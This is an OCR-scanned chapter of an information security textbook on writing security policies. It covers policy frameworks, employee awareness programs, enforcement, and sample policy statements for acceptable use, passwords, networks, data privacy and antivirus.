Security policies can be subdivided into three primary categories:

¢ Regulatory For auditand compliance purposes, it is useful to include this specific
category. The policy is generally populated with a series of legal statements detailing
what is required and why it is required. The results of a regulatory requirements
assessment can be incorporated into this type of policy.

e Advisory This policy type advises all affected parties of business-specific policy and
may include policies related to computer systems and networks, personnel, and
physical security. This type of policy is generally based on security best practices.

¢ Informative This type of policy exists as a catch-all to ensure that policies not
covered under Regulatory and Advisory are accounted for. These policies may apply
to specific business units, business partners, vendors, and customers who use the
organization’s information systems.

The security policy should be concise and easy to read, in order to be effective. An
incomprehensible or overly complex policy risks being ignored by its audience and left to
gather dust on a shelf, failing to influence current operational efforts. It should be a series
of simple, direct statements of senior management’s intentions.

The form and organization of security policies can be reflected in an outline format with
the following components:

® Author The policy writer
* Sponsor The Executive champion

* Authorizer The Executive signer with ultimate authority

¢ Effective date When the policy is effective; generally when authorized
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* Review date Subject to agreement by all parties; annually at least

e Purpose Why the policy exists; regulatory, advisory, or informative

* Scope Who the policy affects and where the policy is applied

e Policy What the policy is about

* Exceptions Who or what is not covered by the policy

¢ Enforcement How the policy will be enforced, and consequences for not following it
* Definitions Terms the reader may need to know

¢ References Links to other related policies and corporate documents

Frameworks

The topics included in a security policy vary from organization to organization according to
regulatory and business requirements. We refer to these topics together as a framework.

Organizations may prefer to take a control objective-based approach to creating a security
policy framework. For instance, government agencies may take a FISMA-based approach.
The Federal Information Security Management Act of 2002 imposes a mandatory set of
processes that must follow a combination of Federal Information Processing Standards
(FIPS) documents, the NIST Special Publications 800 series, and other legislation pertinent
to federal information systems.

Policy Categories

NIST Special Publication 800-53, Recommended Security Controls for Federal Information Systems and

Organizations, control objectives are organized into 18 major categories (see NIST in Chapter 3).
Control objective subsets exist for each major control category and equal at least 170

control objectives. NIST SP 800-53 is a good starting point for any organization interested

in making sure that all the basic control objectives are met regardless of the industry and

whether it is regulated.

Additional Regulations and Frameworks

An organization that must comply with HIPAA (described in Chapter 3) may map NIST SP
800-53 control objectives to the HIPAA Security Rule. HIPAA categorizes security controls
(referred to as safeguards) into three major categories: Administrative, Physical, and
Technical. As an example, CFR Part 164.312 section (c) (1), which requires protection
against improper alteration or destruction of data, is a HIPAA required control that maps
to NIST 800-53 System and Information Integrity controls.

Some organizations may wish to select a framework based on COBIT (Control Objectives
for Information and related Technology). COBIT is an IT governance framework and
supporting toolset that allows managers to bridge the gap between control requirements,
technical issues, and business risks. Developing policy from a COBIT framework may take
considerable collaboration with the Finance and Audit departments. Other organizations may
need to combine COBIT with ITIL (IT Infrastructure Library) to ensure that service
management objectives are met. ITIL is a cohesive best-practices framework drawn from the
public and private sectors internationally. It describes the organization of IT resources to deliver
business value, and documents processes, functions, and roles in IT service management.
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Still other organizations may wish to follow the OCTAVE (Operationally Critical Threat,
Asset, and Vulnerability Evaluation) framework. OCTAVE is a risk-based strategic assessment
and planning technique for security from CERT (Carnegie Mellon University). And yet
others may need to incorporate the ISO Family (27001 and 27002) from the International
Standards Organization. ISO is a framework of standards that provides best practices for
information security management.

Depending on which regulated industry an organization finds itself in, it is important to
take the time to select an appropriate framework and to map out the regulatory and business
requirements in the first phase of development.

Security Awareness

The first line of attack against any organization’s assets is often the trusted internal personnel,
the employees that have been granted access to the internal resources. As with most things, the
human element is the least predictable and easiest to exploit. Trusted employees are either
corrupted or tricked into unintentionally providing valuable information that aids intruders.
Because of the high level of trust placed in employees, they are the weakest link in any security
chain. Attackers will often “mine” information from employees either by phone, by computer,
or in person by gaining information that seems innocuous by itself but provides a more
complete picture when pieced together with other fragments of information. Organizations
that have a strong network security infrastructure may find their security weakened if the
employees are convinced to reduce security levels or reveal sensitive information.

One of the most effective strategies to combat this exposure of information by employees
is education. When employees understand that they shouldn’t give out private information,
and know the reasons why, and know that they will be held accountable, they are less likely
to inadvertently aid an attacker in harvesting information. A good security awareness program
should include communications and periodic reminders to employees about what they
should and should not divulge to outside parties. Training and education help mitigate the
threats of social engineering and information leakage. Figure 5-4 depicts some examples of
security awareness techniques that can inform different personality types and provide
educational opportunities.

Importance of Security Awareness

An ongoing security awareness program should be implemented for all employees. Security
awareness programs vary in scope and content. See the “References” section of this chapter
for pointers to good resources for starting and maintaining a security awareness program.
In this section, we will explore some of the basics of how to raise security awareness among
employees in organizations.

Employees often intentionally or accidentally undermine even the most carefully
engineered security infrastructure. That is because they are allowed trusted access to
information resources through firewalls, access control devices, buildings, phone systems,
and other private resources in order to do their jobs. End users have the system accounts
and passwords needed to copy, alter, delete, and print confidential information, change the
integrity level of the information, or prevent the information from being available to an
authorized user. Propping doors open, giving out their account and password information,
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Figure 5-4 Ideas to incorporate into a security awareness program

and throwing away sensitive papers are common practices in most organizations, and it’s
these practices that put the information security program at risk. It’s also these practices
that a security awareness program seeks to modify and prevent.

In addition to practicing habits that weaken security, employees are also usually the first
to notice security incidents. Employees that are well educated in security principles and
procedures can quickly control the damage caused by a security breach. A staff that is aware
of security concerns can prevent incidents and mitigate damage when incidents do occur.
Employees are a useful component of a comprehensive security strategy.

Objectives of an Awareness Program

The practice of raising the awareness of each individual in the organization is similar to
commercial advertising of products. The message must be understood and accepted by
each and every person, because every employee is crucial to the success of the security
program. One weak link can bring down the entire system. It’s imperative that these
objectives be measurable. In a security awareness campaign, the security message is the sales
pitch, the product to be sold is the idea of security, and the market is every employee in the
organization. Communicating the message is the primary goal, and the information
absorbed by the employees is the catalyst for behavioral change. Employees usually know
much of what an awareness program conveys. The awareness program reminds them so
that secure behaviors are automatic.
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A plan for an effective security awareness program should include

¢ A statement of measurable goals for the awareness program
¢ Identification and categorization of the audience
¢ Specification of the information to be included in the program

¢ Description of how the employees will benefit from the program

Some of this information can be provided by security management (e.g., goals, types of
information) and some can be provided by the audience themselves (e.g., demographics,
benefits). Surveys and in-person interviews can be utilized to collect some of this information.
Identification of specific problems in the organization can provide additional insight. This
information is needed to determine how the awareness program will be developed and what
form its communication may take.

The objectives of a security awareness program really need to be clarified in advance,
because presentation is the key to success. A well-organized, clearly defined presentation to
the employees will generate more support and less resistance than a poorly developed,
random, ineffective attempt at communication. Compliance with this training is often a
requirement. Of paramount importance is the need to avoid losing the audience’s interest
or attention or alienating the audience by making them feel like culprits or otherwise
inadequate to the task of protecting security. The awareness program should be positive,
reassuring, and interesting.

Just as with any educational program, if the audience is given too much information to
absorb all at once, they may become overwhelmed and may lose interest in the awareness
program. This would result in a failure of the awareness program, since its goal is to
motivate all employees to participate. An awareness program should be a long-term,
gradual process. An effective awareness program reinforces desired behaviors and gradually
changes undesired behaviors.

An awareness program may fail for any of the following reasons:

¢ ]t is not changed frequently

¢ It does not test whether the learner is understanding the material

¢ It does not test how a user behaves under a given scenario, such as whether the user
calls the help desk to report a suspicious event

¢ ]t does not incentivize the user to participate

¢ It does not include performance evaluations and additional tracking

Participation should be consistent and comprehensive, attended and applied by all
employees, including contractors and business partners who have access to information
systems. New employees should also be folded into the current program. Refresher
courses should be given periodically throughout the business year, so attention to the
program does not wander, the information stays fresh in the employees’ memories, and
changes can be communicated.
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Management should allow sufficient time for employees to arrange their work schedules
so that they can participate in awareness activities. Typically, the security policy requires that
employees sign a document stating that they understand the material presented and will
comply with security policies.

Responsibility for conducting awareness program activities needs to be clearly defined,
and those who are responsible must demonstrate that they are performing to expectations.
The organization’s training department and security staff may collaborate on the program,
or an outside organization or consultant may be hired to perform program activities.

Increasing Effectiveness

Security awareness programs are meant to change behaviors, habits, and attitudes. To be
successful in this, an awareness program must appeal to positive preferences. For example, a
person who believes that it is acceptable to share confidential information with a colleague
or give their password out to a new employee must be shown that people are respected and
recognized in the organization for protecting confidential data rather than for sharing it.

The overall message of the program should emphasize factors that appeal to the
audience. For example, the damage to a person done when their identity or personal
information is stolen may result in a lowering of their credit score or increase in their
insurance rates. An awareness program can focus on the victims and the harmful results
of incautious activities. People need to be made aware that bad security practices hurt
people, whether they intend to or not. The negative effects can be spotlighted to provide
motivation, but the primary value of scare tactics is to get the user community to start
thinking about security (and their decisions and behaviors) in a way that helps them see
how they can protect themselves from danger.

Actions that cause inconvenience or require a sacrifice from the audience may not be
adopted if the focus is on the difficulty of the actions themselves, rather than the positive
effects of the actions. The right message will have a positive spin, encouraging the employees
to perform actions that make them heroes, such as the courage and independence it takes
to resist appeals from friends and coworkers to share copyrighted software. Withstanding
peer pressure to make unethical or risky choices can be shown in a positive light.

Specific topics that are contained in most awareness programs include

® Privacy of personal, customer, and the organization’s information (including
payroll, medical, and personnel records)

¢ The scope of inherent software and hardware vulnerabilities and how the
organization manages this risk

* Hostile software or malicious code (for example, viruses, worms, Trojans, back
doors, and spyware) and how it can damage the network and compromise the
privacy of individuals, customers, and the organization

¢ The impact of distributed attacks and distributed denial of service attacks and how
to defend against them

® The principle of shared risk in networked systems (the risk assumed by one employee
is imposed on the entire network)
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Walt Disney World’s Security Awareness Program: A Case Study
At the Computer Security Institute’s (CSI’s) NetSec conference in June 2003, Anne
Kuhns of Walt Disney World’s IT division demonstrated some of the best features of
Disney’s security awareness program at the time. The program included a self-study
module incorporating animated visual activities, clever, eye-catching graphics with
friendly characters, and a combination of friendly encouragement and stern
correction, all in fun.

The module stopped at various checkpoints to ask the employee questions about
what they just saw. For example, after describing password policy, it showed four
passwords and asked which one complied with the policy. Choosing an incorrect
answer earned the employee a stern “No” from the narrator along with an explanation
of why the answer was incorrect. A correct answer was required to proceed.

Another section included an interactive activity, to maintain attention. A cartoon
desk and computer were shown along with some other items. The items were
clickable, and the module asked the employee to identify things on the desk that
were violations of security policy—such as a mobile device left unattended, a stack of
confidential documents in the trash, and a workstation left logged in while nobody is
there. Upon clicking these items, the employee was treated to a positive narration
along with a description of why those behaviors are undesirable. The consequences
were also mentioned, including the personal risk to the employee, which was an
effective attention-getter.

There was also a game-like objective to the training. At the completion of each
section, the employee earned a “key.” After collecting four keys, the employee earned
a big fanfare and an electronic certificate. Continued employment depended on the
successful completion of the training, but the employee also gained a sense of
satisfaction and accomplishment from “winning the game.”

Implementing the Awareness Program

Once employees understand how to recognize a security problem, they can begin thinking
about how they can perform their job functions in compliance with the security policy, and
how they should react to security events and incidents. Typical topics for complying with
security policy and incident response include

¢ How to report potential security events, including who should be notified and what
to do during and after an incident, the timeframe for such reporting, and what to do
about unauthorized or suspicious activity. Some situations may require use of verbal
communication instead of e-mail, such as when another employee (especially a
system administrator) is acting suspicious, when a computer system is under attack,
or when e-mail may be intercepted by the intruder.

¢ How to use information technology systems in a secure manner.

¢ How to create and manage passwords, how to safely conduct file transfers and
downloads, and how to handle e-mail attachments.
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The awareness program should emphasize that security is a top priority of management.
Security practices should be shown to be the responsibility of everyone in the organization,
from executive management down to each employee. Employees will take security practices
more seriously when they see that it is important to the organization rather than just
another initiative like any other, and when executives lead by example. Codes of ethics or
behavior principles can be used to let all employees know exactly what to do and what is
expected of them.

Employees should also be clear about whom to contact and what to report regarding
security incidents. Information should be provided to the employees so that they know
whom to contact during an incident. Contact information, such as telephone and pager
numbers, e-mail addresses, and web addresses for security staff, the incident response team,
and the help desk should be included.

Employees should be made aware that time is critical in security compromise situations.
They should be informed that immediate reporting of incidents could contain damage,
control the extent of the problem, and prevent further damage.

Enforcement

Enforcement is arguably the most important component of network security. Policies,
procedures, and security technologies don’t work if they are ignored or misused. Enforcing
the security policy ensures compliance with the principles and practices intended by the
architects of the security infrastructure. Security policy enforcement includes a security
operations component, which is discussed in more detail in Chapter 31. However, penalties
for not following the policy are typically performed by Human Resources, not Security.
Security reports violations, and HR enforces.

Enforcement takes many forms. For general employees, enforcement provides the
assurance that daily work activities comply with the security policy. For system administrators
and other privileged staff, enforcement guarantees proper maintenance actions and
prevents abuse of the higher level of trust given to this category of personnel. For managers,
enforcement prevents overriding of the security practices intended by the framers of the
security policy, and it reduces the incidence of conflicts of interest produced when managers
give their employees orders that violate policy. For everyone, enforcement dissuades people
from casually, intentionally, or accidentally breaking the rules.

Negative enforcement usually takes the form of threats to the employee—threats of
negative comments on an employee’s review, of a manager’s displeasure, or of termination,
for example. For some violations, a progression of corrective actions may be required,
eventually culminating in loss of the employee’s job after many repeated violations. For
other, more serious breaches of trust, termination may be the first step. Regardless of the
severity of the correction, employees should clearly understand what is required of them,
and what the process is for punishment when they don’t comply with the rules. In all cases,
employees should sign a document indicating their understanding of this process.

Positive enforcement is just as important as negative enforcement, if not more so.
This may take the form of rewards to employees who follow the rules. These employees
are important—they are the ones who keep the business running smoothly within the
parameters of the corporate policy. They should be retained and kept motivated to do
the right thing. Rewards can range from verbal congratulations to financial incentives
and awards for good behavior.
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Policy Enforcement for Vendors

Security enforcement for business partners and other non-corporate entities is the
responsibility of the organization’s Board of Directors, which manages relationships with
other corporations, makes deals, and signs contracts and statements of intent. These
documents should all include security expectations and include signatures of responsible
executives. If you want to be able to enforce a particular level of service (defined in the
service-level agreement), then you need to define it first. When security policy is violated by
partner organizations, the Board of Directors should hold those organizations responsible
and take appropriate business measures to correct the problem. This may include financial
penalties for underperformance or incentives for overperformance.

Policy Enforcement for Employees

Enforcement of the corporate security policy for employees and temporary workers is
usually the direct responsibility of Human Resources. HR implements punitive actions up
to and including termination for serious violations of security policy, and it also attempts to
correct behavior with warnings and evaluations. Positive reinforcement can also be enacted
by HR, in the form of financial bonuses and other incentives.

All employees, without exception, should be held to the same standards of policy
enforcement. It is very important not to discriminate or differentiate between employees
when enforcing policy. This is especially true of management. Managers, especially senior
managers and corporate executives, should be just as accountable as regular employees—
perhaps even more so. Senior management should set an example of right behavior for the
rest of the organization, and perhaps should be held even to a higher standard than those
employees who work for them. When management violates trust or policy, how can
employees be expected to adhere to their expectations? By paving the way with high
standards of conduct, management helps encourage compliance with the standards of
behavior they have set for the employees.

Software-Based Enforcement

Software can sometimes be used to enforce policy compliance, preventing actions that are
not allowed by the policy. One example of this is web browsing controls such as web site
blockers. These programs maintain a list of prohibited web sites that is consulted each time
an end user attempts to visit a web site. If the attempt is made to go to one of the prohibited
sites, the attempt is blocked.

Software-based enforcement has the advantage that employees are physically unable to
break the rules. Others include Group Policy settings for the operating system. This means
that nobody will be able to violate the policy, regardless of how hard they try. Thus, the
organization is assured 100 percent policy compliance. Software enforcement is the easiest
and most reliable method of ensuring compliance with security policy.

There are some disadvantages to software enforcement as well. One disadvantage is that
employees who are grossly negligent or willful policy violators (bad seeds) will not be
discovered. Some organizations want to weed out these people from their staff, so their
employees will consist of mostly honest, hard-working people. With software-based
enforcement, it is harder to discover the time wasters, who may find other, less apparent
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ways of being inefficient. Another disadvantage of automated enforcement is that it may
cause disgruntlement and unhappiness among employees who feel that the organization is
constraining them, making them conform to a code of behavior with which they do not
agree. These employees may feel that “big brother is watching them” and may feel
uncomfortable with confining controls. Depending on the corporate culture, this may be a
more or less serious problem.

Automated enforcement of policy by software can also be circumvented by trusted
administrative personnel who have special access to disable, bypass, or modify the security
configuration to give themselves special permissions not granted to regular employees. This
breach of trust may be difficult to prevent or detect. This is a more general problem that
applies to administrative personnel who are responsible for security devices and controls.
The best solution is to implement separation of duties, so that violation of trust requires
more than one person—two or more trusted employees would have to collude to get around
the system. Finally, security policies must be in balance with functional requirements.

Regardless of the corporate culture, and how software-based enforcement is used in the
organization to control behavior and encourage compliance with the corporate security
policy and acceptable use policy, those policies should be well documented and clearly
communicated to employees, with signatures by the employees indicating that they
understand and agree to the terms. Additionally, software-based enforcement, when used,
should be only one step in the chain of enforcement techniques that includes other levels,
up to and including termination. Organizations should not rely solely on software for this
purpose; they should have clearly defined levels of deterrence that employees understand.
In most organizations, employment is an at-will contract between the employer and the
employee, and employees should understand that they can lose their job if they try to behave
in ways that violate the ethics or principles of the employer. Don’t use software as an excuse
or a means of avoiding the difficulties and hardships of enforcement; instead, use it as a tool
to accomplish the organization’s enforcement goals.

Every industry has different audit requirements and data retention policies based on
which standards they adhere to. Some industries are required to have external, independent
auditors, while other industries may be fine with internal, in-house audits. Do your due
diligence and practice due care by finding out which laws and regulations you are required
to be in compliance with.

Example Security Policy Topics

This section includes sample security policy topics to provide insight into the subjects that
might be included in a general security policy for a typical organization. These examples are
meant to inspire you to consider which topics might apply to your particular situation and to
provide a starting point for thinking about other subjects that might be relevant. Many
policy writers are focused on particular subjects, like passwords or network segmentation,
and this can make it difficult to think about other topics that should be covered. Referring
to this list may help policy writers broaden their focus.

This particular set of policy statements is oriented toward a typical small to midsize
organization attempting to protect its data resources. Use this as a starting point for elements
of your security policy, or compare it with your existing security policy to see whether yours
needs additional scope.
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NOTE The security policy can be divided into sections relating to any reasonable groupings of subjects,
such as computers, networks, data, and so on.

The following policy examples are organized in conceptual categories, according to their
general focus. These categories include acceptable use, computer, network, data privacy,
data integrity, personnel management, security management, and physical security policies.
These can serve either as topic ideas or as starting points for more comprehensive policy
statements. A full policy would contain the information in the following examples along with
a statement of purpose (indicating why each policy is required), a scope definition (indicating
to whom each policy applies), a statement of monitoring and auditing (indicating how
compliance will be measured and assessed), and a statement about enforcement (indicating
what can happen if the policy is violated).

NOTE The following policy examples are intended to serve as a starting point for your organization. Your
requirements will vary. Ideally, the following policy examples will provide you with ideas about topics
for your own policy.

Acceptable Use Policies

Employees may find it helpful to understand exactly how the organization expects them
to use computing resources. Every organization has expectations for employee use of
computers, but these must be communicated in advance to be effectively enforced.

The following is a sample of an acceptable use policy. Notice that the policy is
composed of clear, easy-to-read instructions that everyone can understand.

1. PURPOSE

1.1. The organization’s information resources exist in order to support business
purposes. Inadvertent or intentional misuse can damage the organization’s business,
its customers, vendors, partners, shareholders, and employees. This policy is intended
to minimize that damage.

2. SCOPE

2.1. This policy is applicable to all information resources including software, web
browsers, email, computer systems, workstations, PCs, servers, mobile devices,
entities connected on the network, software, data, telephones, voice mail, fax
machines, and any information resources that could be considered valuable to the
business, in all locations.

3. RESPONSIBILITIES

3.1. All employees, contractors, consultants, service providers, and temporary
workers are responsible for following these practices.
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4. ACCEPTABLE USE OF INFORMATION RESOURCES

What to do:

Protect the organization’s intellectual property and keep it confidential
Report any unauthorized or inappropriate use, or any security concerns

Follow the guidance in the Information Classification, Labeling, and Handling
policy

What not to do:

Do not forward, provide access, store, distribute, and/or process confidential
information to unauthorized people or places, or post confidential information
on Internet bulletin boards, chat rooms, or other electronic forums

Do not access information resources, records, files, information, or any other data
when there is no proper, authorized, job-related need

Do not provide false or misleading information to obtain access to information
resources

Do not use any account and/or password that has not been assigned to you
Do not perform any conduct which may harm the organization’s reputation
Do not view offensive websites, send or forward offensive email

Do not place personal files on the organization’s computing servers

Do not connect any equipment not owned and managed by the organization to the
organization’s network

Do not install personally owned software or non-licensed software on the
organization’s computers

Personal Use of Information Systems Personal use of the organization’s computer
systems is allowed on a limited basis to employees provided that it does not interfere with
the organization’s business, expose the organization to liability or damage, compromise the
organization’s intellectual property, or violate any laws.

Employees should be advised that the organization may at any time be required by
law to print or copy files, e-mail, hard copy, or backups and provide this information to
government or law enforcement agencies.

Internet Usage Monitoring All connections to the Internet must be monitored for the
following activities:

Attempts to access restricted web sites

Transfers of very large files

Excessive web browsing

Unauthorized hosting of web servers by employees

Transfers of the organization’s data to or from the Internet
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Personal Web Sites Employees may not run personal web sites on the organization’s
equipment.

Ethical Use of the Internet Personal Internet use must conform to the corporate standard
of ethics.

Non-Corporate Usage Agreement Outside organizations must sign a usage agreement
before connecting to the corporate data resources.

Employee Usage Agreement All employees must sign a usage agreement.

Personal Use of Telephones Corporate phone systems may be used for limited, local,
personal calls, as long as this usage does not interfere with the performance of the corporate
business.

Personal Use of Long-Distance Corporate phone systems may be used for personal
domestic long-distance calls, providing that the expense for these calls does not exceed
reasonable limits.

Computer Policies

This group of policies applies to computers and information systems. Authentication
policies often form the largest collection of policy statements in a computer environment
because authentication systems and variations are so complex and because they tend to
have the greatest impact on the average computer user. Password policies are often the
largest subset of authentication policies.

Account/Password Authentication A unique account and password combination must
authenticate all users of information systems. The account name must be used only by a
single individual, and the password must be a secret known only to that individual.

New Account Requests The manager responsible for a new end user must request access
to corporate information systems via a new account. End users may not request their own
accounts. The new account request must be recorded and logged for the record. When the
account is no longer needed, the account must be disabled.

Account Changes The manager responsible for the end user must request changes in
access privileges for corporate information systems for a system account. End users may not
request access-privilege changes to their own accounts. The request must be recorded and
logged for the record.

Two-Factor Authentication All administrators of critical information servers must be
authenticated via a token card and PIN code. The individual must be uniquely identified
based on possession of the token card and knowledge of a secret PIN code known only to
the individual user.
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Desktop Command Access Access to operating system components and system
administration commands on end-user workstations or desktop systems is restricted to
system support staff only. End users will be granted access only to commands required to
perform their job functions.

Generic User Accounts Generic system accounts for use by people are prohibited. Each
system account must be traceable to a single specific individual who is responsible and
accountable for its use. Passwords may not be shared with any other person.

Inactive Screen Lock Computer systems that are left unattended must be configured to
lock the screen with a password-protected screensaver after a period of inactivity. This screen
locking must be configured on each computer system to ensure that unattended computer
systems do not become a potential means to gain unauthorized access to the network.

Login Message All computer systems that connect to the network must display a message
before connecting the user to the network. The intent of the login message is to remind users
that information stored on the organization’s information systems belongs to the organization
and should not be considered private or personal. The message must also direct users to the
corporate information system usage policy for more detailed information. The message must
state that by logging on, the user agrees to abide by the terms of the usage policy. Continuing
to use the system indicates the user’s agreement to adhere to the policy.

Failed Login Account Disabling After ten successive failed login attempts, a system
account must be automatically disabled to reduce the risk of unauthorized access. Any
legitimate user whose account has been disabled in this manner may have it reactivated by
providing both proof of identity and management approval for reactivation.

Password Construction Account names must not be used in passwords in any form.
Dictionary words and proper names must not be used in passwords in any form. Numbers
that are common or unique to the user must not be used in passwords in any form.
Passwords shorter than eight characters are not allowed.

Password Expiration Passwords may only be used for a maximum of 3 months. Upon
the expiration of this period, the system must require the user to change their password.
The system authentication software must enforce this policy.

Password Privacy Passwords that are written down must be concealed in a way that hides
the fact that the written text is a password. When written, the passwords should appear as part
of a meaningless or unimportant phrase or message, or be encoded in a phrase or message
that means something to the password owner but to nobody else. Passwords sent via e-mail
must use the same concealment and encoding as passwords that are written down, and in
addition must be encrypted using strong encryption.

Password Reset In the event that a new password must be selected to replace an old one
outside of the normally scheduled password change period, such as when a user has
forgotten their password or when an account has been disabled and is being reactivated, the
new password may only be created by the end user, to protect the privacy of the password.
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Password Reuse When the user changes a password, the last six previously used
passwords may not be reused. The system authentication software must enforce this policy.

Employee Account Lifetime Permanent employee system accounts will remain valid for a
period of 12 months, unless otherwise requested by the employee’s manager. The maximum
limit on the requested lifetime of the account is 24 months. After the lifetime of the account
has expired, it can be reactivated for the same length of time upon presentation of both
proof of identity and management approval for reactivation.

Contractor Account Lifetime Contractor system accounts will remain valid for a period
of 12 months, unless otherwise requested by the contractor’s manager. The maximum limit
on the requested lifetime of the account is 24 months. After the lifetime of the account has
expired, it can be reactivated for the same length of time upon presentation of both proof
of identity and management approval for reactivation.

Business Partner Account Lifetime Business partner system accounts will remain valid
for a period of 3 months, unless otherwise requested by the manager responsible for the
business relationship with the business partner. The maximum limit on the requested
lifetime of the account is 12 months. After the lifetime of the account has expired, it can
be reactivated for the same length of time upon presentation of both proof of identity and
management approval for reactivation.

Same Passwords On separate computer systems, the same password may be used. Any
password that is used on more than one system must adhere to the policy on password
construction.

Generic Application Accounts Generic system accounts for use by applications, databases,
or operating systems are allowed when there is a business requirement for software to
authenticate with other software. Extra precautions must be taken to protect the password for
any generic account. Whenever any person no longer needs to know the password, it must be
changed immediately. If the software is no longer in use, the account must be disabled.

Inactive Accounts System accounts that have not been used for a period of 90 days will
be automatically disabled to reduce the risk of unused accounts being exploited by
unauthorized parties. Any legitimate user whose account has been disabled in this manner
may have it reactivated by providing both proof of identity and management approval for
reactivation.

Unattended Session Logoff Login sessions that are left unattended must be automatically
logged off after a period of inactivity. This automatic logoff must be configured on each server
system to ensure that idle sessions do not become a potential means to gain unauthorized
access to the network.

User-Constructed Passwords Only the individual owner of each account may create
passwords, to help ensure the privacy of each password. No support staff member, colleague,
or computer program may generate passwords.
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User Separation Each individual user must be blocked by the system architecture from
accessing other users’ data. This separation must be enforced by all systems that store or
access electronic information. Each user must have a well-defined set of information that
can be located in a private area of the data storage system.

Multiple Simultaneous Logins More than one login session at a time on any server is
prohibited, with the exception of support staff. User accounts must be set up to automatically
disallow multiple login sessions by default for all users. When exceptions are made for
support staff, the accounts must be manually modified to allow multiple sessions.

Network Policies

This next group of policies applies to the network infrastructure to which computer systems
are attached and over which data travels. Policies relating to network traffic between
computers can be the most variable of all, because an organization’s network is the most
unique component of its computing infrastructure, and because organizations use their
networks in different ways. These example policies may or may not apply to your particular
network, but they may provide inspiration for policy topics you can consider.

Extranet Connection Access Control All extranet connections (connections to and
from other organizations’ networks outside of the organization, either originating from
the external organization’s remote network into the internal network, or originating from
the internal network going out to the external organization’s remote network) must limit
external access to only those services authorized for the remote organization. This access
control must be enforced by IP address and TCP/UDP port filtering on the network
equipment used to establish the connection.

System Communication Ports Systems communicating with other systems on the local
network must be restricted only to authorized communication ports. Communication ports
for services not in use by operational software must be blocked by firewalls or router filters.

Inbound Internet Communication Ports  Systems communicating from the Internet to
internal systems must be restricted to use only authorized communication ports. Firewall
filters must block communication ports for services not in use by operational system
software. The default must be to block all ports, and to make exceptions to allow specific
ports required by system software.

Outbound Internet Communication Ports Systems communicating with the Internet
must be restricted to use only authorized communication ports. Firewall filters must block
communication ports for services not in use by operational system software. The default
must be to block all ports, and to make exceptions to allow specific ports required by
system software.

Unauthorized Internet Access Blocking All users must be automatically blocked from
accessing Internet sites identified as inappropriate for the organization’s use. This access
restriction must be enforced by automated software that is updated frequently.
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Extranet Connection Network Segmentation All extranet connections must be limited
to separate network segments not directly connected to the corporate network.

Virtual Private Network All remote access to the corporate network is to be provided by
virtual private network (VPN). Dial-up access into the corporate network is not allowed.

Virtual Private Network Authentication All virtual private network connections into the
corporate network require token-based or biometric authentication.

Home System Connections Employee and contractor home systems may connect to the
corporate network via a virtual private network only if they have been installed with a
corporate-approved, standard operating system configuration with appropriate security
patches as well as corporate-approved personal firewall software or a network firewall device.

Data Privacy Policies

The topic of data privacy is often controversial and can have significant legal ramifications.

Consult a legal adviser before implementing this type of policy. The legal definition of data
ownership can be complex depending on how an organization’s computer systems are used
and what expectations have been communicated to employees.

Copyright Notice All information owned by the organization and considered intellectual
property, whether written, printed, or stored as data, must be labeled with a copyright notice.

E-Mail Monitoring All e-mail must be monitored for the following activity:

e Non-business use
¢ Inflammatory, unethical, or illegal content
¢ Disclosure of the organization’s confidential information

e Large file attachments or message sizes

Information Classification Information must be classified according to its intended
audience and be handled accordingly. Every piece of information must be classified into
one of the following categories:

e Personal Information not owned by the organization, belonging to private
individuals
e Public Information intended for distribution to and viewing by the general public

¢ Confidential Information for use by employees, contractors, and business
partners only

e Proprietary Intellectual property of the organization to be handled only by
authorized parties

e Secret Information for use only by designated individuals with a need to know
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Intellectual Property All information owned by the organization is considered intellectual
property. As such, it must not be disclosed to unauthorized individuals. The organization’s
intellectual property must be protected and kept confidential. Forwarding intellectual
property to unauthorized users, providing access to intellectual property to unauthorized
users, distributing intellectual property to unauthorized users, storing intellectual property in
unauthorized locations, and processing unauthorized intellectual property is prohibited. Any
unauthorized or inappropriate use must be reported immediately.

Clear Text Passwords Passwords may not be sent in clear text over the Internet or an

y y
public or private network either by individuals or by software, nor may they be spoken over
public voice networks without the use of encryption.

Clear Text E-mail E-mail may be sent in clear text over the Internet, as long as it does
not contain secret, proprietary, or confidential corporate information. E-mail containing
sensitive or non-public information must be encrypted.

Customer Information Sharing Corporate customer information may not be shared
with outside organizations or individuals.

Employee Information Sharing No employee information may be disclosed to outside
agencies or individuals, with the following exceptions:

e Date of hire

® Length of tenure
Employee Communication Monitoring The organization reserves the right to monitor
employee communications.

Examination of Data on the Organization’s Systems The organization reserves the
right to examine all data on its computer systems.

Search of Personal Property The organization reserves the right to examine the
personal property of its employees and visitors brought onto the organization’s premises.

Confidentiality of Non-Corporate Information All customer and business partner
information is to be treated as confidential.

Encryption of Data Backups All data backups must be encrypted.

Encryption of Extranet Connection All extranet connections must use encryption to
protect the privacy of the information traversing the network.

Shredding of Private Documents Sensitive, confidential, proprietary, and secret paper
documents must be shredded when discarded.

Destruction of Computer Data Sensitive, confidential, proprietary, and secret computer
data must be strongly overwritten when deleted.
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Cell Phone Privacy Private business information may not be discussed via cell phone,
due to the risk and ease of eavesdropping.

Confidential Information Monitoring All electronic data entering or leaving the internal
network must be monitored for the following:

¢ Confidential information sent via e-mail or file transfer
¢ Confidential information posted to web sites or chat rooms

® Disclosure of source code or other intellectual property

Unauthorized Data-Access Blocking Each individual user must be blocked by the
system architecture from accessing unauthorized corporate data. This separation must be
enforced by all systems that store or access electronic information. Corporate information
that has been classified as being accessible to a subset of users, but not to all users, must be
stored and accessed in such a way that accidental or intentional access by unauthorized
parties is not possible.

Data Access Access to corporate information, hard copy, and electronic data is restricted
to individuals with a need to know for a legitimate business reason. Each individual is
granted access only to those corporate information resources required for them to perform
their job functions.

Server Access Access to operating system components and system administration
commands on corporate server systems is restricted to system support staff only. End users
will be granted access only to commands required for them to perform their job functions.

Highly Protected Networks In networks that have unique security requirements that are
more stringent than those for the rest of the corporate network and contain information that
is not intended for general consumption by employees and is meant only for a small number
of authorized individuals in the organization (such as salary and stock information or credit
card information), the data on these networks must be secured from the rest of the network.
Encryption must be used to ensure the privacy of communications between the protected
network and other networks, and access control must be employed to block unauthorized or
accidental attempts to access the protected network from the corporate network.

Data Integrity Policies

Data integrity policies focus on keeping valuable information intact. It is important to start
with definitions of how data integrity may be compromised, such as by viruses, lack of
change control, and backup failure.

Workstation Antivirus Software All workstations and servers require antivirus software.

Virus-Signature Updating Virus signatures must be updated immediately when they are
made available from the vendor.

Central Virus-Signature Management All virus signatures must be updated (pushed)
centrally.

www.it-ebooks.info


http://www.it-ebooks.info/

Chapter 5 Security Policies, Standards, Procedures, and Guidelines 131

